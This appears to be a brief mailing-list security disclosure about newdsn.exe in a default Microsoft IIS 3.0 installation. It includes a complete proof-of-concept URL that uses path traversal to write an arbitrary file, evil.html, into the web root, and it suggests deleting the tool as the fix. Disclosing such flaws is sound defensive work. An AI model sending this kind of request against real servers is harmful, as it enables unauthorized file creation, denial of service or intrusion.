Hello,
while playing with default installation of Microsoft IIS, I have
discovered that tool for data source cration, newdsn.exe allows creation
of *.mdb files with any name at any location. Eg. url
http://vulnerable.site.com/scripts/tools/newdsn.exe?driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb%29&dsn=Evil+samples+from+microsoft&dbq=..%2F..%2Fwwwroot%2Fevil.html&newdb=CREATE_DB&attr=
will create file evil.html in wwwroot directory.
evil.html in fact is a Microsoft Access Database.
I am sure someone nasty can think of a DOS or even breaking in using this.
Software: MS IIS 3.0 default installation on WinNT 4.0 server
Solution: delete newdsn.exe :)
Microsoft was not informed about that, if someone wants, please feel free
to forward this e-mail.
